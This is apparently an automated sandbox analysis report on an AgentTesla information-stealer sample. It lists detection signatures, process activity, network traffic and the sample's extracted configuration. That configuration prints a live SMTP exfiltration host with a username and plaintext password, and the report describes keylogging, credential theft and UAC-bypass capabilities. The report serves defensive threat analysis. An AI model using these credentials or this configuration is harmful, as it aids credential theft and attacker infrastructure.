Edit tour

Windows Analysis Report
SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe
Analysis ID:	1397655
MD5:	26c95e5acba77d7fd14d109c94f75cca
SHA1:	56359d96cd63d66b51eb49acd46d8df25f170c30
SHA256:	32272f676a500007b4321f7c076ec3169305615e230dad3d89c63e0cfd24c1c6
Tags:	exe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected UAC Bypass using CMSTP

.NET source code references suspicious native API functions

Check if machine is in data center or colocation facility

Connects to many IPs within the same subnet mask (likely port scanning)

Connects to many ports of the same IP (likely port scanning)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Sigma detected: Potentially Suspicious Malware Callback Communication

Sigma detected: Suspicious Outbound Kerberos Connection

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Writes to foreign memory regions

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Connects to several IPs in different countries

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Sigma detected: Suspicious Outbound SMTP Connections

Tries to load missing DLLs

Uses SMTP (mail sending)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe (PID: 5828 cmdline: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe MD5: 26C95E5ACBA77D7FD14D109C94F75CCA)

RegSvcs.exe (PID: 22352 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.supplyvan.xyz", "Username": "otu@supplyvan.xyz", "Password": "Ifeanyi1987@"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2757087631.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2757087631.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2764598895.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2764598895.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2049795050.00000194D9427000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2049795050.00000194D9427000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000004.00000002.2764598895.0000000002C9E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2764598895.0000000002CA4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2049795050.00000194D80E6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2049795050.00000194D80E6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe PID: 5828	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe PID: 5828	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe PID: 5828	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe PID: 5828	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: RegSvcs.exe PID: 22352	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 22352	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34257:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x342c9:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34353:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x343e5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3444f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x344c1:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34557:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x345e7:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32457:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x324c9:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32553:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x325e5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3264f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x326c1:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32757:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x327e7:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34257:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x342c9:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34353:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x343e5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3444f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x344c1:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34557:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x345e7:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32457:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x324c9:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32553:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x325e5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3264f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x326c1:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32757:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x327e7:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34257:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x342c9:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34353:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x343e5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3444f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x344c1:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34557:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x345e7:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 13 entries

Sigma Signatures

System Summary

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Source: Process started

Author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth (Nextron Systems), Christian Burkard (Nextron Systems): Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, ParentProcessId: 5828, ParentProcessName: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe, ProcessId: 22352, ProcessName: RegSvcs.exe

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Source: Network Connection

Author: Markus Neis: Data: DestinationIp: 125.227.225.157, DestinationIsIpv6: false, DestinationPort: 3389, EventID: 3, Image: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, Initiated: true, ProcessId: 5828, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 53022

Sigma detected: Potentially Suspicious Malware Callback Communication

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 123.30.154.171, DestinationIsIpv6: false, DestinationPort: 7777, EventID: 3, Image: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, Initiated: true, ProcessId: 5828, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 50044

Sigma detected: Suspicious Outbound Kerberos Connection

Source: Network Connection

Author: Ilyas Ochkov, oscd.community: Data: DestinationIp: 5.161.103.41, DestinationIsIpv6: false, DestinationPort: 88, EventID: 3, Image: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, Initiated: true, ProcessId: 5828, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 52170

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 115.96.208.124, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, Initiated: true, ProcessId: 5828, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49723

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke: Data: Image: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, QueryName: ip-api.com

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 160.248.80.91, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, Initiated: true, ProcessId: 5828, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 54070

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://192.140.42.83:31511

Avira URL Cloud: Label: malware

Found malware configuration

Source: 4.2.RegSvcs.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.supplyvan.xyz", "Username": "otu@supplyvan.xyz", "Password": "Ifeanyi1987@"}

Multi AV Scanner detection for domain / URL

Source: heygirlisheeverythingyouwantedinaman.com	Virustotal: Detection: 20%	Perma Link
Source: http://188.164.193.178:30744	Virustotal: Detection: 10%	Perma Link
Source: http://184.178.172.25:15291	Virustotal: Detection: 6%	Perma Link
Source: http://192.140.42.83:31511	Virustotal: Detection: 7%	Perma Link
Source: http://161.97.170.209:13636://proxy	Virustotal: Detection: 6%	Perma Link

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Virustotal: Detection: 31%

Perma Link

Machine Learning detection for sample

Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Joe Sandbox ML: detected

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe PID: 5828, type: MEMORYSTR

Source: unknown	HTTPS traffic detected: 140.82.113.4:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.190.93:443 -> 192.168.2.8:51842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.190.93:443 -> 192.168.2.8:52896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 102.223.20.217:443 -> 192.168.2.8:53182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 222.255.238.159:443 -> 192.168.2.8:55101 version: TLS 1.2

Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Connects to many IPs within the same subnet mask (likely port scanning)

Source: global traffic	TCP traffic: Count: 11 IPs: 212.110.188.189,212.110.188.222,212.110.188.202,212.110.188.213,212.110.188.220,212.110.188.198,212.110.188.193,212.110.188.195,212.110.188.204,212.110.188.216,212.110.188.207
Source: global traffic	TCP traffic: Count: 10 IPs: 103.47.93.214,103.47.93.236,103.47.93.245,103.47.93.196,103.47.93.250,103.47.93.194,103.47.93.25,103.47.93.199,103.47.93.252,103.47.93.241
Source: global traffic	TCP traffic: Count: 11 IPs: 197.234.13.46,197.234.13.24,197.234.13.49,197.234.13.66,197.234.13.5,197.234.13.94,197.234.13.93,197.234.13.82,197.234.13.30,197.234.13.63,197.234.13.52
Source: global traffic	TCP traffic: Count: 14 IPs: 188.132.222.171,188.132.222.168,188.132.222.8,188.132.222.7,188.132.222.199,188.132.222.166,188.132.222.167,188.132.222.44,188.132.222.6,188.132.222.5,188.132.222.39,188.132.222.38,188.132.222.34,188.132.222.14
Source: global traffic	TCP traffic: Count: 10 IPs: 72.10.160.170,72.10.160.91,72.10.160.90,72.10.160.174,72.10.160.173,72.10.160.172,72.10.160.171,72.10.160.93,72.10.160.92,72.10.160.94
Source: global traffic	TCP traffic: Count: 11 IPs: 184.178.172.13,184.178.172.23,184.178.172.26,184.178.172.25,184.178.172.14,184.178.172.17,184.178.172.28,184.178.172.3,184.178.172.5,184.178.172.18,184.178.172.11

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 5.42.81.57 ports 14021,30829,0,32105,2,3,8,9
Source: global traffic	TCP traffic: 43.128.155.154 ports 15673,1,3,5,6,7
Source: global traffic	TCP traffic: 178.32.143.55 ports 0,2,3,32048,4,8
Source: global traffic	TCP traffic: 92.205.105.134 ports 39058,60516,1,63718,3,6,7,8,17317
Source: global traffic	TCP traffic: 188.164.193.178 ports 7001,9733,63078,12880,15342,0,30663,4,6,8,47573,60484,37842,5348,46392,30744,35626
Source: global traffic	TCP traffic: 45.11.95.165 ports 5031,6031,5032,5022,5000,6049,5014,5037,5040,0,2,5,5214,5039,5029,5206,6008
Source: global traffic	TCP traffic: 109.123.254.43 ports 62183,42048,14474,40667,18072,36076,41049,9066,0,31167,12339,4,51584,34476,6,7,24210,58917,51856
Source: global traffic	TCP traffic: 67.213.210.118 ports 65149,1,4,5,6,9
Source: global traffic	TCP traffic: 212.3.112.128 ports 0,3,5,6,35860,8
Source: global traffic	TCP traffic: 92.246.139.113 ports 12250,2,3,4,32244,13852,14427,10203
Source: global traffic	TCP traffic: 92.246.139.112 ports 0,10008,3,4,5,30504
Source: global traffic	TCP traffic: 92.246.139.106 ports 1,2,3,4,11432,16901,33328
Source: global traffic	TCP traffic: 162.144.32.209 ports 23847,2,3,4,58740,7,8
Source: global traffic	TCP traffic: 148.72.23.56 ports 41383,39396,36111,1,3,6,46451
Source: global traffic	TCP traffic: 218.75.69.50 ports 0,3,5,7,9,57903
Source: global traffic	TCP traffic: 92.204.135.4 ports 44712,1,2,4,58754,7
Source: global traffic	TCP traffic: 51.38.14.161 ports 23306,0,51392,2,3,6,32229
Source: global traffic	TCP traffic: 166.62.38.100 ports 8730,1,55671,5,6,7,2453,4765,39308
Source: global traffic	TCP traffic: 92.205.110.47 ports 17158,50709,1,5,7,8,50228,55509
Source: global traffic	TCP traffic: 175.139.179.65 ports 0,2,4,5,8,42580
Source: global traffic	TCP traffic: 161.97.147.193 ports 15371,19655,43131,1,3,5,7,37257,2838
Source: global traffic	TCP traffic: 185.45.73.227 ports 53491,1,2,3,4,25298,8,31428
Source: global traffic	TCP traffic: 82.223.121.72 ports 63596,3,4,5,54368,6,8
Source: global traffic	TCP traffic: 72.10.160.90 ports 20057,16355,15265,25421,29129,22575,7481,18939,3279,15863,8609,24091,16757,3093,20421,6047,11351,26447,1,3,2597,7,9,7249,8833,19713
Source: global traffic	TCP traffic: 152.228.140.225 ports 28119,1,4,14719,7,9
Source: global traffic	TCP traffic: 72.10.160.92 ports 18445,22575,0,2,26077,6,7,1839,16757
Source: global traffic	TCP traffic: 147.45.40.15 ports 1,30463,3,31554,4,5,33736
Source: global traffic	TCP traffic: 51.15.209.188 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 72.10.160.170 ports 5385,19551,23333,1,2,2413,3819,8,9,29053,12899,30569
Source: global traffic	TCP traffic: 209.145.56.51 ports 6432,36195,51060,2,3,4,6,18508
Source: global traffic	TCP traffic: 72.10.160.173 ports 27707,3283,2,3,1475,8,10677
Source: global traffic	TCP traffic: 72.10.160.171 ports 20003,4,5,8,6227,9,5369,8459
Source: global traffic	TCP traffic: 154.12.253.232 ports 17970,8541,62276,41277,25158,57661,25007,0,2,5,7,52138,38338,54506,16504
Source: global traffic	TCP traffic: 148.72.212.212 ports 3,6,7,8,3786,48131
Source: global traffic	TCP traffic: 173.249.33.122 ports 62690,19633,8221,5640,26686,27427,0,16708,4,5,6,49851,44194,52019,17827,45241,49382
Source: global traffic	TCP traffic: 191.103.219.225 ports 48612,1,2,4,6,8
Source: global traffic	TCP traffic: 51.158.105.203 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 167.172.109.12 ports 39452,46249,39533,37355,40825,2,4,6,9,41491
Source: global traffic	TCP traffic: 161.97.173.42 ports 46018,2724,3,4,5,8,9,53948
Source: global traffic	TCP traffic: 207.180.226.58 ports 60909,54690,62978,59932,64608,2,3,51276,56001,5,9
Source: global traffic	TCP traffic: 91.150.189.122 ports 0,60647,30389,3,8,9
Source: global traffic	TCP traffic: 185.23.118.97 ports 2,59946,4,5,6,54625
Source: global traffic	TCP traffic: 173.212.237.43 ports 44672,20592,2,57118,54099,4,6,7,61211,39545,14549
Source: global traffic	TCP traffic: 91.108.130.111 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 161.97.173.78 ports 7818,2,5,6,7,8,52876
Source: global traffic	TCP traffic: 66.29.128.244 ports 42560,0,2,4,5,6
Source: global traffic	TCP traffic: 103.28.86.241 ports 57230,0,2,3,5,7
Source: global traffic	TCP traffic: 107.148.97.234 ports 58394,3,4,5,8,9
Source: global traffic	TCP traffic: 159.203.137.249 ports 0,30433,3,4,49785,5018
Source: global traffic	TCP traffic: 161.97.163.52 ports 4085,55491,0,31125,4,5,29631,8,45063,34916,13106
Source: global traffic	TCP traffic: 146.190.84.209 ports 9445,62842,33091,2,4,26154,6,8
Source: global traffic	TCP traffic: 167.99.39.82 ports 46523,46015,0,1,4,5,6,13486,28140
Source: global traffic	TCP traffic: 154.236.189.15 ports 1976,1,6,1981,7,9
Source: global traffic	TCP traffic: 54.36.108.149 ports 13331,40996,5170,3,5,6,7,56367,13882,13304
Source: global traffic	TCP traffic: 145.239.2.102 ports 15460,14075,42147,48821,59990,28501,1,56732,2,59522,6,29631,8,13247,53728,62181,3769
Source: global traffic	TCP traffic: 79.143.187.58 ports 38971,59410,0,1,4,1730,17905,5,55215,9
Source: global traffic	TCP traffic: 91.203.114.71 ports 0,2,4,42905,5,9
Source: global traffic	TCP traffic: 5.161.98.204 ports 22019,58199,3240,3,5,2662,11232,9,37901,53935
Source: global traffic	TCP traffic: 51.222.241.8 ports 29877,0,55452,5,6,50565,36411
Source: global traffic	TCP traffic: 162.214.162.180 ports 9251,1,55189,2,5,9
Source: global traffic	TCP traffic: 41.217.220.214 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 213.136.75.85 ports 59058,0,3,5,7,50573,57607
Source: global traffic	TCP traffic: 197.254.84.86 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 162.19.7.50 ports 50847,0,4,5,7,8
Source: global traffic	TCP traffic: 125.25.40.41 ports 0,2,3,32650,5,6
Source: global traffic	TCP traffic: 51.75.125.208 ports 15084,41649,18080,62727,2,33356,6,7,54879
Source: global traffic	TCP traffic: 173.212.240.168 ports 20341,39180,0,1,58854,3,8,9,10267
Source: global traffic	TCP traffic: 51.210.4.123 ports 58244,61802,2,56238,4,58653,5,55774,8,52614,57969
Source: global traffic	TCP traffic: 195.138.73.54 ports 44017,0,1,31145,4,7
Source: global traffic	TCP traffic: 109.104.187.212 ports 41890,0,1,4,8,9
Source: global traffic	TCP traffic: 148.66.130.53 ports 56350,0,1,2,5,47011,12005
Source: global traffic	TCP traffic: 171.244.10.204 ports 47875,43012,61700,57930,55145,4,5,7,52178,8,15389
Source: global traffic	TCP traffic: 185.198.58.47 ports 0,27890,2,7,8,9
Source: global traffic	TCP traffic: 50.63.12.33 ports 23859,61464,34644,40838,3,14738,4,50781,6,23065,58507,30920
Source: global traffic	TCP traffic: 51.15.230.100 ports 1,3,6,7,9,16379
Source: global traffic	TCP traffic: 148.66.130.187 ports 17772,43804,0,3,6,8,60083
Source: global traffic	TCP traffic: 141.94.174.6 ports 39796,59583,2450,35072,47913,35557,1772,60870,49675,7856,40280,13326,45620,41866,41920,26422,25214,57470,33466,3,33346,4,13718,6,2935,16526,1647
Source: global traffic	TCP traffic: 108.181.133.59 ports 28916,1,2,6,8,9
Source: global traffic	TCP traffic: 164.132.112.254 ports 1,2,3,19919,5,9,31259
Source: global traffic	TCP traffic: 51.89.173.40 ports 17982,44719,26545,54570,23313,23854,20435,0,2,3,55198,4,5,51511
Source: global traffic	TCP traffic: 50.63.13.3 ports 6164,25710,12539,1,34677,3,53005,6,7,12035,4214,44392,1938,11673,30704
Source: global traffic	TCP traffic: 194.163.129.179 ports 19202,21912,33093,26659,1,2,31158,5,51212,16517
Source: global traffic	TCP traffic: 161.97.160.158 ports 42543,58943,1,59778,3,4,13994,9,11018,5814
Source: global traffic	TCP traffic: 51.210.45.148 ports 8772,19873,41855,9351,60359,3,5,6,8,11176,36424,36721,3865
Source: global traffic	TCP traffic: 178.128.82.105 ports 39993,58899,2,3,5,53299,9,2706
Source: global traffic	TCP traffic: 138.201.21.232 ports 48915,1,4,5,8,9
Source: global traffic	TCP traffic: 66.228.33.190 ports 2,5,29566,6,48487,9,36702
Source: global traffic	TCP traffic: 8.213.129.15 ports 8060,8080,0,443,5,50
Source: global traffic	TCP traffic: 125.229.149.168 ports 65110,65100,0,1,5,6
Source: global traffic	TCP traffic: 198.12.253.1 ports 49878,0,1,3,6,7,37106,3820,50205
Source: global traffic	TCP traffic: 115.171.217.48 ports 7891,7890,0,7,8,9
Source: global traffic	TCP traffic: 138.197.92.110 ports 21346,2,3,5,35982,8,9
Source: global traffic	TCP traffic: 208.109.14.49 ports 63470,46047,59760,1,3,5,6,8,7218,35618
Source: global traffic	TCP traffic: 178.18.248.104 ports 1,3,4,5,9,49153
Source: global traffic	TCP traffic: 163.172.144.132 ports 1,3,6,7,9,16379
